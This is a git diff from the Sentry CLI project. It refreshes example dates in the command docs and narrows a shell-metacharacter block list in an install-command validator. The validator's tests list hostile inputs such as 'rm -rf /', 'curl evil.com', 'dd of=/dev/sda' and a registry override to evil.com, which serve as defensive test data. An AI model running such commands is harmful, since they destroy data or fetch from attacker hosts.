diff --git a/docs/src/content/docs/commands/dashboard.md b/docs/src/content/docs/commands/dashboard.md index d40c7e971..1392f63e6 100644 --- a/docs/src/content/docs/commands/dashboard.md +++ b/docs/src/content/docs/commands/dashboard.md @@ -43,7 +43,7 @@ View a dashboard | `-w, --web` | Open in browser | | `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data | | `-r, --refresh ` | Auto-refresh interval in seconds (default: 60, min: 10) | -| `-t, --period ` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" | +| `-t, --period ` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" | ### `sentry dashboard create ` diff --git a/docs/src/content/docs/commands/event.md b/docs/src/content/docs/commands/event.md index 87ca42361..a9b565b54 100644 --- a/docs/src/content/docs/commands/event.md +++ b/docs/src/content/docs/commands/event.md @@ -42,7 +42,7 @@ List events for an issue | `-n, --limit ` | Number of events (1-1000) (default: "25") | | `-q, --query ` | Search query (Sentry search syntax) | | `--full` | Include full event body (stacktraces) | -| `-t, --period ` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "7d") | +| `-t, --period ` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "7d") | | `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data | | `-c, --cursor ` | Navigate pages: "next", "prev", "first" (or raw cursor string) | diff --git a/docs/src/content/docs/commands/issue.md b/docs/src/content/docs/commands/issue.md index 1eb4503c9..0f8d1d6b9 100644 --- a/docs/src/content/docs/commands/issue.md +++ b/docs/src/content/docs/commands/issue.md @@ -24,7 +24,7 @@ List issues in a project | `-q, --query ` | Search query (Sentry search syntax) | | `-n, --limit ` | Maximum number of issues to list (default: "25") | | `-s, --sort ` | Sort by: date, new, freq, user (default: "date") | -| `-t, --period ` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "90d") | +| `-t, --period ` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "90d") | | `-c, --cursor ` | Pagination cursor (use "next" for next page, "prev" for previous) | | `--compact` | Single-line rows for compact output (auto-detects if omitted) | | `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data | @@ -46,7 +46,7 @@ List events for a specific issue | `-n, --limit ` | Number of events (1-1000) (default: "25") | | `-q, --query ` | Search query (Sentry search syntax) | | `--full` | Include full event body (stacktraces) | -| `-t, --period ` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "7d") | +| `-t, --period ` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "7d") | | `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data | | `-c, --cursor ` | Navigate pages: "next", "prev", "first" (or raw cursor string) | diff --git a/docs/src/content/docs/commands/log.md b/docs/src/content/docs/commands/log.md index bb6c82343..172e77085 100644 --- a/docs/src/content/docs/commands/log.md +++ b/docs/src/content/docs/commands/log.md @@ -24,7 +24,7 @@ List logs from a project | `-n, --limit ` | Number of log entries (1-1000) (default: "100") | | `-q, --query ` | Filter query (Sentry search syntax) | | `-f, --follow ` | Stream logs (optionally specify poll interval in seconds) | -| `-t, --period ` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" | +| `-t, --period ` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" | | `-s, --sort ` | Sort order: "newest" (default) or "oldest" (default: "newest") | | `--fresh` | Bypass cache, re-detect projects, and fetch fresh data | diff --git a/docs/src/content/docs/commands/span.md b/docs/src/content/docs/commands/span.md index 85bfef5da..154a07ee4 100644 --- a/docs/src/content/docs/commands/span.md +++ b/docs/src/content/docs/commands/span.md @@ -24,7 +24,7 @@ List spans in a project or trace | `-n, --limit ` | Number of spans (<=1000) (default: "25") | | `-q, --query ` | Filter spans (e.g., "op:db", "duration:>100ms", "project:backend") | | `-s, --sort ` | Sort order: date, duration (default: "date") | -| `-t, --period ` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "7d") | +| `-t, --period ` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "7d") | | `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data | | `-c, --cursor ` | Navigate pages: "next", "prev", "first" (or raw cursor string) | diff --git a/docs/src/content/docs/commands/trace.md b/docs/src/content/docs/commands/trace.md index 162168b85..117d9bee1 100644 --- a/docs/src/content/docs/commands/trace.md +++ b/docs/src/content/docs/commands/trace.md @@ -24,7 +24,7 @@ List recent traces in a project | `-n, --limit ` | Number of traces (1-1000) (default: "25") | | `-q, --query ` | Search query (Sentry search syntax) | | `-s, --sort ` | Sort by: date, duration (default: "date") | -| `-t, --period ` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "7d") | +| `-t, --period ` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "7d") | | `-f, --fresh` | Bypass cache, re-detect projects, and fetch fresh data | | `-c, --cursor ` | Navigate pages: "next", "prev", "first" (or raw cursor string) | @@ -61,7 +61,7 @@ View logs associated with a trace | Option | Description | |--------|-------------| | `-w, --web` | Open trace in browser | -| `-t, --period ` | Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" (default: "14d") | +| `-t, --period ` | Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" (default: "14d") | | `-n, --limit ` | Number of log entries (<=1000) (default: "100") | | `-q, --query ` | Additional filter query (Sentry search syntax) | | `-s, --sort ` | Sort order: "newest" (default) or "oldest" (default: "newest") | diff --git a/plugins/sentry-cli/skills/sentry-cli/references/dashboard.md b/plugins/sentry-cli/skills/sentry-cli/references/dashboard.md index 2469f6584..c6fa0f940 100644 --- a/plugins/sentry-cli/skills/sentry-cli/references/dashboard.md +++ b/plugins/sentry-cli/skills/sentry-cli/references/dashboard.md @@ -42,7 +42,7 @@ View a dashboard - `-w, --web - Open in browser` - `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data` - `-r, --refresh - Auto-refresh interval in seconds (default: 60, min: 10)` -- `-t, --period - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08"` +- `-t, --period - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09"` **Examples:** diff --git a/plugins/sentry-cli/skills/sentry-cli/references/event.md b/plugins/sentry-cli/skills/sentry-cli/references/event.md index 85f9a8c54..aac26a31b 100644 --- a/plugins/sentry-cli/skills/sentry-cli/references/event.md +++ b/plugins/sentry-cli/skills/sentry-cli/references/event.md @@ -28,7 +28,7 @@ List events for an issue - `-n, --limit - Number of events (1-1000) - (default: "25")` - `-q, --query - Search query (Sentry search syntax)` - `--full - Include full event body (stacktraces)` -- `-t, --period - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "7d")` +- `-t, --period - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "7d")` - `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data` - `-c, --cursor - Navigate pages: "next", "prev", "first" (or raw cursor string)` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/issue.md b/plugins/sentry-cli/skills/sentry-cli/references/issue.md index a335718bc..3da9870e3 100644 --- a/plugins/sentry-cli/skills/sentry-cli/references/issue.md +++ b/plugins/sentry-cli/skills/sentry-cli/references/issue.md @@ -19,7 +19,7 @@ List issues in a project - `-q, --query - Search query (Sentry search syntax)` - `-n, --limit - Maximum number of issues to list - (default: "25")` - `-s, --sort - Sort by: date, new, freq, user - (default: "date")` -- `-t, --period - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "90d")` +- `-t, --period - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "90d")` - `-c, --cursor - Pagination cursor (use "next" for next page, "prev" for previous)` - `--compact - Single-line rows for compact output (auto-detects if omitted)` - `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data` @@ -78,7 +78,7 @@ List events for a specific issue - `-n, --limit - Number of events (1-1000) - (default: "25")` - `-q, --query - Search query (Sentry search syntax)` - `--full - Include full event body (stacktraces)` -- `-t, --period - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "7d")` +- `-t, --period - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "7d")` - `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data` - `-c, --cursor - Navigate pages: "next", "prev", "first" (or raw cursor string)` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/log.md b/plugins/sentry-cli/skills/sentry-cli/references/log.md index dd2604b52..cf3252ca5 100644 --- a/plugins/sentry-cli/skills/sentry-cli/references/log.md +++ b/plugins/sentry-cli/skills/sentry-cli/references/log.md @@ -19,7 +19,7 @@ List logs from a project - `-n, --limit - Number of log entries (1-1000) - (default: "100")` - `-q, --query - Filter query (Sentry search syntax)` - `-f, --follow - Stream logs (optionally specify poll interval in seconds)` -- `-t, --period - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08"` +- `-t, --period - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09"` - `-s, --sort - Sort order: "newest" (default) or "oldest" - (default: "newest")` - `--fresh - Bypass cache, re-detect projects, and fetch fresh data` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/span.md b/plugins/sentry-cli/skills/sentry-cli/references/span.md index d7892ad94..28486da1b 100644 --- a/plugins/sentry-cli/skills/sentry-cli/references/span.md +++ b/plugins/sentry-cli/skills/sentry-cli/references/span.md @@ -19,7 +19,7 @@ List spans in a project or trace - `-n, --limit - Number of spans (<=1000) - (default: "25")` - `-q, --query - Filter spans (e.g., "op:db", "duration:>100ms", "project:backend")` - `-s, --sort - Sort order: date, duration - (default: "date")` -- `-t, --period - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "7d")` +- `-t, --period - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "7d")` - `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data` - `-c, --cursor - Navigate pages: "next", "prev", "first" (or raw cursor string)` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/trace.md b/plugins/sentry-cli/skills/sentry-cli/references/trace.md index 1fb9244f2..32d11a4fd 100644 --- a/plugins/sentry-cli/skills/sentry-cli/references/trace.md +++ b/plugins/sentry-cli/skills/sentry-cli/references/trace.md @@ -19,7 +19,7 @@ List recent traces in a project - `-n, --limit - Number of traces (1-1000) - (default: "25")` - `-q, --query - Search query (Sentry search syntax)` - `-s, --sort - Sort by: date, duration - (default: "date")` -- `-t, --period - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "7d")` +- `-t, --period - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "7d")` - `-f, --fresh - Bypass cache, re-detect projects, and fetch fresh data` - `-c, --cursor - Navigate pages: "next", "prev", "first" (or raw cursor string)` @@ -78,7 +78,7 @@ View logs associated with a trace **Flags:** - `-w, --web - Open trace in browser` -- `-t, --period - Time range: "7d", "2026-03-08..2026-04-08", ">=2026-03-08" - (default: "14d")` +- `-t, --period - Time range: "7d", "2026-03-09..2026-04-09", ">=2026-03-09" - (default: "14d")` - `-n, --limit - Number of log entries (<=1000) - (default: "100")` - `-q, --query - Additional filter query (Sentry search syntax)` - `-s, --sort - Sort order: "newest" (default) or "oldest" - (default: "newest")` diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index d082a4f4f..4908bac3e 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -96,40 +96,31 @@ function prettyPrintJson(content: string, indent: JsonIndent): string { } /** - * Shell metacharacters that enable chaining, piping, substitution, or redirection. - * All legitimate install commands are simple single commands that don't need these. + * Patterns that indicate shell injection. Commands run via `spawn` (no shell), + * so these have no runtime effect — they are defense-in-depth against command + * chaining, piping, redirection, and command substitution. * - * Ordering matters for error-message accuracy (not correctness): multi-character - * operators like `&&` and `||` are checked before their single-character prefixes - * (`&`, `|`) so the reported label describes the actual construct the user wrote. + * Characters that are harmless without a shell — quotes, braces, globs, + * parentheses, backslashes, bare `$`, `#` — are intentionally NOT blocked. + * They appear in legitimate package specifiers like + * `pip install sentry-sdk[django]` or version ranges with `*`. + * + * Ordering: multi-char operators (`&&`, `||`) before single-char prefixes + * (`&`, `|`) so the reported label describes what the user actually wrote. */ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = [ { pattern: ";", label: "command chaining (;)" }, - // Check multi-char operators before single `|` / `&` so labels are accurate { pattern: "&&", label: "command chaining (&&)" }, { pattern: "||", label: "command chaining (||)" }, { pattern: "|", label: "piping (|)" }, { pattern: "&", label: "background execution (&)" }, { pattern: "`", label: "command substitution (`)" }, { pattern: "$(", label: "command substitution ($()" }, - { pattern: "(", label: "subshell/grouping (()" }, - { pattern: ")", label: "subshell/grouping ())" }, - { pattern: "$", label: "variable/command expansion ($)" }, - { pattern: "'", label: "single quote (')" }, - { pattern: '"', label: 'double quote (")' }, - { pattern: "\\", label: "backslash escape (\\)" }, { pattern: "\n", label: "newline" }, { pattern: "\r", label: "carriage return" }, { pattern: ">", label: "redirection (>)" }, { pattern: "<", label: "redirection (<)" }, - // Glob and brace expansion — brace expansion is the real risk - // (e.g. `npm install {evil,@sentry/node}`) - { pattern: "{", label: "brace expansion ({)" }, - { pattern: "}", label: "brace expansion (})" }, - { pattern: "*", label: "glob expansion (*)" }, - { pattern: "?", label: "glob expansion (?)" }, - { pattern: "#", label: "shell comment (#)" }, ]; const WHITESPACE_RE = /\s+/; diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 5d8d0313c..eaf35b075 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -56,7 +56,22 @@ describe("validateCommand", () => { } }); - test("blocks shell metacharacters", () => { + test("allows shell-harmless characters that appear in package specifiers", () => { + for (const cmd of [ + 'pip install "sentry-sdk[django]"', + "pip install 'sentry-sdk[flask]'", + "npm install sentry-sdk@*", + "npm install sentry-?.js", + "npm install {evil,@sentry/node}", + "npm install evil-pkg#benign", + "npm install foo\\bar", + "(echo test)", + ]) { + expect(validateCommand(cmd)).toBeUndefined(); + } + }); + + test("blocks shell injection patterns", () => { for (const cmd of [ "npm install foo; rm -rf /", "npm install foo && curl evil.com", @@ -74,43 +89,6 @@ describe("validateCommand", () => { } }); - test("blocks subshell bypass via parentheses", () => { - for (const cmd of ["(rm -rf .)", "(curl evil.com)"]) { - expect(validateCommand(cmd)).toContain("Blocked command"); - } - }); - - test("blocks shell escape bypass attempts", () => { - for (const cmd of [ - "npm install foo$'\\x3b'whoami", - // biome-ignore lint/suspicious/noTemplateCurlyInString: testing literal ${IFS} in command string - "npm install foo${IFS}curl evil.com", - "npm install foo\\nwhoami", - "echo 'hello'", - ]) { - expect(validateCommand(cmd)).toContain("Blocked command"); - } - }); - - test("blocks glob and brace expansion characters", () => { - for (const cmd of [ - "npm install {evil,@sentry/node}", - "npm install sentry-*", - "npm install sentry-?.js", - ]) { - expect(validateCommand(cmd)).toContain("Blocked command"); - } - }); - - test("blocks shell comment character to prevent command truncation", () => { - for (const cmd of [ - "npm install evil-pkg # @sentry/node", - "npm install evil-pkg#benign", - ]) { - expect(validateCommand(cmd)).toContain("Blocked command"); - } - }); - test("blocks environment variable injection in first token", () => { for (const cmd of [ "npm_config_registry=http://evil.com npm install @sentry/node", @@ -130,8 +108,8 @@ describe("validateCommand", () => { "kill -9 1", "dd if=/dev/zero of=/dev/sda", "ssh user@host", - "bash -c 'echo hello'", - "sh -c 'echo hello'", + "bash -c echo", + "sh -c echo", "env npm install foo", "xargs rm", ]) { @@ -140,13 +118,11 @@ describe("validateCommand", () => { }); test("resolves path-prefixed executables", () => { - // Safe executables with paths pass expect( validateCommand("./venv/bin/pip install sentry-sdk") ).toBeUndefined(); expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined(); - // Dangerous executables with paths are still blocked expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"'); expect(validateCommand("/usr/bin/curl https://evil.com")).toContain( '"curl"'